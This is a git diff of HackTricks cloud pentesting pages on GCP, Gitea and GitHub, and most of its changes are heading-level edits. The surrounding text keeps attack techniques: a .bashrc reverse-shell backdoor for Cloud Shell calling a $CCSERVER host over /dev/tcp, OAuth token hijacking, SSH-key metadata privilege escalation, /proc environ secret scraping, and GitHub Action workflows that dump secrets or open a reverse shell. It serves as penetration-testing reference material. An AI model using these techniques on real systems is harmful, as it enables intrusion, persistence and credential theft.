simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._ Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges. -### apikeys.keys.create +## apikeys.keys.create This permission allows to **create an API key**: @@ -181,7 +179,7 @@ Operation [operations/akmf.p7-[...]9] complete. Result: { You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/b-apikeys.keys.create.sh). -### apikeys.keys.getKeyString,apikeys.keys.list +## apikeys.keys.getKeyString,apikeys.keys.list These permissions allows **list and get all the apiKeys and get the Key**: @@ -194,12 +192,12 @@ done You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh). -### apikeys.keys.regenerate,apikeys.keys.list +## apikeys.keys.regenerate,apikeys.keys.list These permissions will (potentially) allow you to **list and regenerate all the apiKeys getting the new Key**.\ It’s not possible to use this from `gcloud` but you probably can use it via the API. Once it’s supported, the exploitation will be similar to the previous one (I guess). -### apikeys.keys.lookup +## apikeys.keys.lookup This is extremely useful to check to **which GCP project an API key that you have found belongs to**: @@ -211,17 +209,17 @@ parent: projects/5[...]6/locations/global In this scenario it could also be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check what you can access with the API key -## secretmanager +# secretmanager -### secretmanager.secrets.get +## secretmanager.secrets.get This give you access to read the secrets from the secret manager. -### secretmanager.secrets.setIamPolicy +## secretmanager.secrets.setIamPolicy This give you access to give you access to read the secrets from the secret manager. -## \*.setIamPolicy +# \*.setIamPolicy If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it. @@ -236,17 +234,17 @@ An **example** of privilege escalation abusing .setIamPolicy (in this case in a [gcp-buckets-brute-force-and-privilege-escalation.md](../gcp-buckets-brute-force-and-privilege-escalation.md) {% endcontent-ref %} -## Generic Interesting Permissions +# Generic Interesting Permissions -### \*.create, \*.update +## \*.create, \*.update These permissions can be very useful to try to escalate privileges in resources by **creating a new one or updating a new one**. These can of permissions are specially useful if you also has the permission **iam.serviceAccounts.actAs** over a Service Account and the resource you have .create/.update over can attach a service account. -### \*ServiceAccount\* +## \*ServiceAccount\* This permission will usually let you **access or modify a Service Account in some resource** (e.g.: compute.instances.setServiceAccount). This **could lead to a privilege escalation** vector, but it will depend on each case. -## References +# References * [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) * [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner) diff --git a/cloud-security/gcp-security/gcp-kms-and-secrets-management-enumeration.md b/cloud-security/gcp-security/gcp-kms-and-secrets-management-enumeration.md index 65d4c128..c291f3da 100644 --- a/cloud-security/gcp-security/gcp-kms-and-secrets-management-enumeration.md +++ b/cloud-security/gcp-security/gcp-kms-and-secrets-management-enumeration.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - KMS & Secrets Management Enumeration - -## Crypto Keys +# Crypto Keys [Cloud Key Management Service](https://cloud.google.com/kms/docs/) is a repository for storing cryptographic keys, such as those used to **encrypt and decrypt sensitive files**. Individual keys are stored in key rings, and granular permissions can be applied at either level. @@ -40,7 +38,7 @@ gcloud kms decrypt --ciphertext-file=[INFILE] \ --location global ``` -## Secrets Management +# Secrets Management Google [Secrets Management](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, and other sensitive data. As of this writing, it is currently in beta. @@ -54,7 +52,7 @@ gcloud beta secrets versions access 1 --secret="[SECRET NAME]" Note that changing a secret entry will create a new version, so it's worth changing the `1` in the command above to a `2` and so on. -## References +# References * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging) diff --git a/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md b/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md index 33909578..05ee585b 100644 --- a/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md +++ b/cloud-security/gcp-security/gcp-local-privilege-escalation-ssh-pivoting.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Local Privilege Escalation / SSH Pivoting - in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project. Amazingly, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible. -## Read the scripts +# Read the scripts **Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts. @@ -35,7 +33,7 @@ Running `gsutil ls` from the command line returns nothing, as the service accoun You may be able to find this bucket name inside a script (in bash, Python, Ruby...). -## Custom Metadata +# Custom Metadata Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the instance and project level. This is simply a way to pass **arbitrary key/value pairs into an instance**, and is commonly used for environment variables and startup/shutdown scripts. @@ -49,7 +47,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?re -H "Metadata-Flavor: Google" ``` -## Modifying the metadata +# Modifying the metadata If you can **modify the instance's metadata**, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission: @@ -67,7 +65,7 @@ Although Google [recommends](https://cloud.google.com/compute/docs/access/servic * `https://www.googleapis.com/auth/compute` * `https://www.googleapis.com/auth/cloud-platfo`rm -### **Add SSH keys to custom metadata** +## **Add SSH keys to custom metadata** **Linux** **systems** on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which **periodically** **queries** the instance metadata endpoint for **changes to the authorized SSH public keys**. @@ -75,7 +73,7 @@ Although Google [recommends](https://cloud.google.com/compute/docs/access/servic So, if you can **modify custom instance metadata** with your service account, you can **escalate** to root on the local system by **gaining SSH rights** to a privileged account. If you can modify **custom project metadata**, you can **escalate** to root on **any system in the current GCP project** that is running the accounts daemon. -### **Add SSH key to existing privileged user** +## **Add SSH key to existing privileged user** Let's start by adding our own key to an existing account, as that will probably make the least noise. @@ -132,7 +130,7 @@ alice@instance:~$ sudo id uid=0(root) gid=0(root) groups=0(root) ``` -### **Create a new privileged user and add a SSH key** +## **Create a new privileged user and add a SSH key** No existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target? @@ -156,7 +154,7 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k ssh -i ./key "$NEWUSER"@localhost ``` -### **Grant sudo to existing session** +## **Grant sudo to existing session** This one is so easy, quick, and dirty that it feels wrong… @@ -166,7 +164,7 @@ gcloud compute ssh [INSTANCE NAME] This will **generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group**, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods. -### SSH keys at project level +## SSH keys at project level Following the details mentioned in the previous section you can try to compromise more VMs. @@ -178,7 +176,7 @@ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes. -## **Using OS Login** +# **Using OS Login** [**OS Login**](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a **Google user or service account to a Linux identity**, relying on IAM permissions to grant or deny access to Compute Instances. @@ -197,7 +195,7 @@ If your service account has these permissions. **You can simply run the `gcloud Similar to using SSH keys from metadata, you can use this strategy to **escalate privileges locally and/or to access other Compute Instances** on the network. -## Search for Keys in the filesystem +# Search for Keys in the filesystem It's quite possible that **other users on the same box have been running `gcloud`** commands using an account more powerful than your own. You'll **need local root** to do this. @@ -216,7 +214,7 @@ You can manually inspect the files inside, but these are generally the ones with Now, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you. -### More API Keys regexes +## More API Keys regexes ```bash TARGET_DIR="/path/to/whatever" diff --git a/cloud-security/gcp-security/gcp-looting.md b/cloud-security/gcp-security/gcp-looting.md index 4b0e18ef..90bc941e 100644 --- a/cloud-security/gcp-security/gcp-looting.md +++ b/cloud-security/gcp-security/gcp-looting.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Other Services Enumeration - -## Stackdriver logging +# Stackdriver logging [Stackdriver](https://cloud.google.com/stackdriver/) is Google's general-purpose infrastructure logging suite which might be capturing sensitive information like syslog-like capabilities that report individual commands run inside Compute Instances, HTTP requests sent to load balancers or App Engine applications, network packet metadata for VPC communications, and more. @@ -46,7 +44,7 @@ gcloud logging read [FOLDER] gcloud logging write [FOLDER] [MESSAGE] ``` -## AI platform configurations +# AI platform configurations Google [AI Platform](https://cloud.google.com/ai-platform/) is another "serverless" offering for machine learning projects. @@ -57,7 +55,7 @@ $ gcloud ai-platform models list --format=json $ gcloud ai-platform jobs list --format=json ``` -## Cloud pub/sub +# Cloud pub/sub Google [Cloud Pub/Sub](https://cloud.google.com/pubsub/) is a service that allows independent applications to **send messages** back and forth. Basically, there are **topics** where applications may **subscribe** to send and receive **messages** (which are composed by the message content and some metadata). @@ -74,7 +72,7 @@ gcloud pubsub subscriptions pull [SUBSCRIPTION NAME] However, you may have better results [asking for a larger set of data](https://cloud.google.com/pubsub/docs/replay-overview), including older messages. This has some prerequisites and could impact applications, so make sure you really know what you're doing. -## Cloud Git repositories +# Cloud Git repositories Google's [Cloud Source Repositories](https://cloud.google.com/source-repositories/) are Git designed to be private storage for source code. You might **find useful secrets here**, or use the **source to discover vulnerabilities** in other applications. @@ -88,7 +86,7 @@ gcloud source repos list gcloud source repos clone [REPO NAME] ``` -## Cloud Filestore Instances +# Cloud Filestore Instances Google [Cloud Filestore](https://cloud.google.com/filestore/) is NAS for Compute Instances and Kubernetes Engine instances. You can think of this like any other **shared document repository -** a potential source of sensitive info. @@ -98,7 +96,7 @@ If you find a filestore available in the project, you can **mount it** from with gcloud filestore instances list --format=json ``` -## Containers +# Containers ```bash gcloud container images list @@ -110,7 +108,7 @@ gcloud container clusters get-credentials [NAME] docker run --rm -ti gcr.io//secret:v1 sh ``` -## Kubernetes +# Kubernetes First, you can check to see if any Kubernetes clusters exist in your project. @@ -136,7 +134,7 @@ You can read more about `gcloud` for containers [here](https://cloud.google.com/ This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_k8s\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_k8s\_enum) -## References +# References * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging) diff --git a/cloud-security/gcp-security/gcp-network-enumeration.md b/cloud-security/gcp-security/gcp-network-enumeration.md index 8434b74a..edf76754 100644 --- a/cloud-security/gcp-security/gcp-network-enumeration.md +++ b/cloud-security/gcp-security/gcp-network-enumeration.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Network Enumeration +# Network Enumeration -## Network Enumeration - -### Compute +## Compute ```bash # List networks diff --git a/cloud-security/gcp-security/gcp-persistance.md b/cloud-security/gcp-security/gcp-persistance.md index 11b2b4be..f8c40d53 100644 --- a/cloud-security/gcp-security/gcp-persistance.md +++ b/cloud-security/gcp-security/gcp-persistance.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Persistance - These are useful techniques once, somehow, you have compromised some GCP credentials or machine running in a GCP environment. -## Google’s Cloud Shell +# Google’s Cloud Shell -### Persistent Backdoor +## Persistent Backdoor [**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost. @@ -41,7 +39,7 @@ This basically means that an attacker may put a backdoor in the home directory o echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ``` -### Container Escape +## Container Escape Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing: @@ -70,9 +68,9 @@ https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write ``` -## Token Hijacking +# Token Hijacking -### Authenticated User +## Authenticated User If you manage to access the home folder of an **authenticated user in GCP**, by **default**, you will be able to **get tokens for that user as long as you want** without needing to authenticated and independently on the machine you use his tokens from and even if the user has MFA configured. @@ -96,20 +94,20 @@ To get a new refreshed access token with the refresh token, client ID, and clien curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ``` -### Service Accounts +## Service Accounts Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\ However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**. -### Metadata +## Metadata Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes). -### Remediations +## Remediations Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) -## References +# References * [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec) * [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) diff --git a/cloud-security/gcp-security/gcp-serverless-code-exec-services-enumeration.md b/cloud-security/gcp-security/gcp-serverless-code-exec-services-enumeration.md index 723fa81b..a982067c 100644 --- a/cloud-security/gcp-security/gcp-serverless-code-exec-services-enumeration.md +++ b/cloud-security/gcp-security/gcp-serverless-code-exec-services-enumeration.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Serverless Code Exec Services Enumeration - -## Cloud Functions +# Cloud Functions Google [Cloud Functions](https://cloud.google.com/functions/) allow you to host code that is executed when an event is triggered, without the requirement to manage a host operating system. These functions can also store environment variables to be used by the code. @@ -35,18 +33,18 @@ gcloud functions describe [FUNCTION NAME] gcloud functions logs read [FUNCTION NAME] --limit [NUMBER] ``` -### Enumerate Open Cloud Functions +## Enumerate Open Cloud Functions With the following code [taken from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_misc/-/blob/master/find\_open\_functions.sh) you can find Cloud Functions that permit unauthenticated invocations. ```bash #!/bin/bash -############################# +############################ # Run this tool to find Cloud Functions that permit unauthenticated invocations # anywhere in your GCP organization. # Enjoy! -############################# +############################ for proj in $(gcloud projects list --format="get(projectId)"); do echo "[*] scraping project $proj" @@ -86,7 +84,7 @@ done ``` -## App Engine Configurations +# App Engine Configurations Google [App Engine](https://cloud.google.com/appengine/) is another ["serverless"](https://about.gitlab.com/topics/serverless/) offering for hosting applications, with a focus on scalability. As with Cloud Functions, **there is a chance that the application will rely on secrets that are accessed at run-time via environment variables**. These variables are stored in an `app.yaml` file which can be accessed as follows: @@ -98,7 +96,7 @@ gcloud app versions list gcloud app describe [APP] ``` -## Cloud Run Configurations +# Cloud Run Configurations Google [Cloud Run](https://cloud.google.com/run) is another serverless offer where you can search for env variables also. Cloud Run creates a small web server, running on port 8080, that sits around waiting for an HTTP GET request. When the request is received, a job is executed and the job log is output via an HTTP response. @@ -122,18 +120,18 @@ curl -H \ [URL] ``` -### Enumerate Open CloudRun +## Enumerate Open CloudRun With the following code [taken from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_misc/-/blob/master/find\_open\_cloudrun.sh) you can find Cloud Run services that permit unauthenticated invocations. ```bash #!/bin/bash -############################# +############################ # Run this tool to find Cloud Run services that permit unauthenticated # invocations anywhere in your GCP organization. # Enjoy! -############################# +############################ for proj in $(gcloud projects list --format="get(projectId)"); do echo "[*] scraping project $proj" @@ -169,7 +167,7 @@ done ``` -## References +# References * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging) diff --git a/cloud-security/gitea-security/README.md b/cloud-security/gitea-security/README.md index d6172856..6d30d33a 100644 --- a/cloud-security/gitea-security/README.md +++ b/cloud-security/gitea-security/README.md @@ -17,21 +17,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Gitea Security - -## What is Gitea +# What is Gitea **Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. ![](<../../.gitbook/assets/image (655).png>) -### Basic Information +## Basic Information {% content-ref url="basic-gitea-information.md" %} [basic-gitea-information.md](basic-gitea-information.md) {% endcontent-ref %} -## Lab +# Lab To run a Gitea instance locally you can just run a docker container: @@ -48,7 +46,7 @@ helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` -## Unauthenticated Enumeration +# Unauthenticated Enumeration * Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) * Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) @@ -56,11 +54,11 @@ helm install gitea gitea-charts/gitea Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. -## Internal Exploitation +# Internal Exploitation For this scenario we are going to suppose that you have obtained some access to a github account. -### With User Credentials/Web Cookie +## With User Credentials/Web Cookie If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** @@ -70,7 +68,7 @@ Note that **2FA may be used** so you will only be able to access this informatio Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. {% endhint %} -### With User SSH Key +## With User SSH Key Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). @@ -86,7 +84,7 @@ If the user has configured its username as his gitea username you can access the **SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. -#### GPG Keys +### GPG Keys As explained [**here**](../github-security/basic-github-information.md#ssh-keys) sometimes it's needed to sign the commits or you might get discovered. @@ -96,13 +94,13 @@ Check locally if the current user has any key with: gpg --list-secret-keys --keyid-format=long ``` -### With User Token +## With User Token For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. -### With Oauth Application +## With Oauth Application For an introduction about [**Gitea Oauth Applications check the basic information**](basic-gitea-information.md#oauth-applications). @@ -110,7 +108,7 @@ An attacker might create a **malicious Oauth Application** to access privileged As explained in the basic information, the application will have **full access over the user account**. -### Branch Protection Bypass +## Branch Protection Bypass In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: @@ -123,7 +121,7 @@ In Github we have **github actions** which by default get a **token with write a Note that **if you are an org/repo admin** you can bypass the protections. -### Enumerate Webhooks +## Enumerate Webhooks **Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ @@ -131,9 +129,9 @@ But in some occasions, people instead of setting the **secret** in its place, th Webhooks can be set at **repo and at org level**. -## Post Exploitation +# Post Exploitation -### Inside the server +## Inside the server If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` diff --git a/cloud-security/gitea-security/basic-gitea-information.md b/cloud-security/gitea-security/basic-gitea-information.md index 27c17ee2..7a3ed664 100644 --- a/cloud-security/gitea-security/basic-gitea-information.md +++ b/cloud-security/gitea-security/basic-gitea-information.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Basic Gitea Information - -## Basic Structure +# Basic Structure The basic gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. @@ -29,9 +27,9 @@ A user may also be **part of different teams** with different permissions over d And finally **repositories may have special protection mechanisms**. -## Permissions +# Permissions -### Organizations +## Organizations When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. @@ -53,7 +51,7 @@ When creating a new team, several important settings are selected: ![](<../../.gitbook/assets/image (648) (1).png>) -### Teams & Users +## Teams & Users In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: @@ -61,35 +59,35 @@ In a repo, the **org admin** and the **repo admins** (if allowed by the org) can * Write * Read -## Gitea Authentication +# Gitea Authentication -### Web Access +## Web Access Using **username + password** and potentially (and recommended) a 2FA. -### **SSH Keys** +## **SSH Keys** You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +### **GPG Keys** You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. -### **Personal Access Tokens** +## **Personal Access Tokens** You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +## Oauth Applications Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: ![](<../../.gitbook/assets/image (662).png>) -### Deploy keys +## Deploy keys Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. -## Branch Protections +# Branch Protections Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. diff --git a/cloud-security/github-security/README.md b/cloud-security/github-security/README.md index 6122af51..5b530fa8 100644 --- a/cloud-security/github-security/README.md +++ b/cloud-security/github-security/README.md @@ -17,19 +17,17 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Github Security - -## What is Github +# What is Github (From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. -### Basic Information +## Basic Information {% content-ref url="basic-github-information.md" %} [basic-github-information.md](basic-github-information.md) {% endcontent-ref %} -## External Recon +# External Recon Github repositories can be configured as public, private and internal. @@ -39,7 +37,7 @@ Github repositories can be configured as public, private and internal. In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. -### Github Dorks +## Github Dorks Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. @@ -49,7 +47,7 @@ Tools (each tool contains its list of dorks): * [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) * [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) -### Github Leaks +## Github Leaks Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). @@ -63,11 +61,11 @@ Tools (each tool contains its list of regexes): * [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) * [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) -## Internal Recon & Attacks +# Internal Recon & Attacks For this scenario we are going to suppose that you have obtained some access to a github account. -### With User Credentials +## With User Credentials If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** @@ -79,7 +77,7 @@ Note that if you **manage to steal the `user_session` cookie** (currently config Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. -### With User SSH Key +## With User SSH Key Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). @@ -95,7 +93,7 @@ If the user has configured its username as his github username you can access th **SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. -#### GPG Keys +### GPG Keys As explained [**here**](basic-github-information.md#ssh-keys) sometimes it's needed to sign the commits or you might get discovered. @@ -105,7 +103,7 @@ Check locally if the current user has any key with: gpg --list-secret-keys --keyid-format=long ``` -### With User Token +## With User Token For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). @@ -113,7 +111,7 @@ A user token can be used **instead of a password** for Git over HTTPS, or can be A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -### With Oauth Application +## With Oauth Application For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). @@ -123,7 +121,7 @@ These are the [scopes an Oauth application can request](https://docs.github.com/ Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. -### With Github Application +## With Github Application For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). @@ -131,7 +129,7 @@ An attacker might create a **malicious Github Application** to access privileged Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. -### Enumerate Webhooks +## Enumerate Webhooks **Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ @@ -139,17 +137,17 @@ But in some occasions, people instead of setting the **secret** in its place, th Webhooks can be set at **repo and at org level**. -### With Malicious Github Action +## With Malicious Github Action For an introduction about [**Github Actions check the basic information**](basic-github-information.md#git-actions). In case you can **execute arbitrary github actions** in a **repository**, you can **steal the secrets from that repo**. -#### Github Action Execution from Repo Creation +### Github Action Execution from Repo Creation In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. -#### Github Action from a New Branch +### Github Action from a New Branch If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). @@ -168,7 +166,7 @@ on: # Use '**' instead of a branh name to trigger the action in all the cranches ``` -#### Github Action Injection/Backdoor +### Github Action Injection/Backdoor In case you somehow managed to **infiltrate inside a Github Action**, if you can escalate privileges you can **steal secrets from the processes where secrets have been set in**. In some cases you don't even need to escalate privileges. @@ -177,7 +175,7 @@ cat /proc//environ cat /proc/*/environ | grep -i secret #Suposing the env variable name contains "secret" ``` -#### GITHUB\_TOKEN +### GITHUB\_TOKEN This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given by default read and **write permissions** **to the repo**. This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) @@ -217,7 +215,7 @@ curl -X POST \ Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. {% endhint %} -#### List secrets in Github Action output +### List secrets in Github Action output ```yaml name: list_env @@ -241,7 +239,7 @@ jobs: secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -#### Get reverse shell with secrets +### Get reverse shell with secrets ```yaml name: revshell @@ -264,7 +262,7 @@ jobs: secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -### Branch Protection Bypass +## Branch Protection Bypass * **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB\_TOKEN** you might be able to **approve your PR** and get 1 approval this way. * _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ @@ -278,7 +276,7 @@ jobs: * **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). * If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is 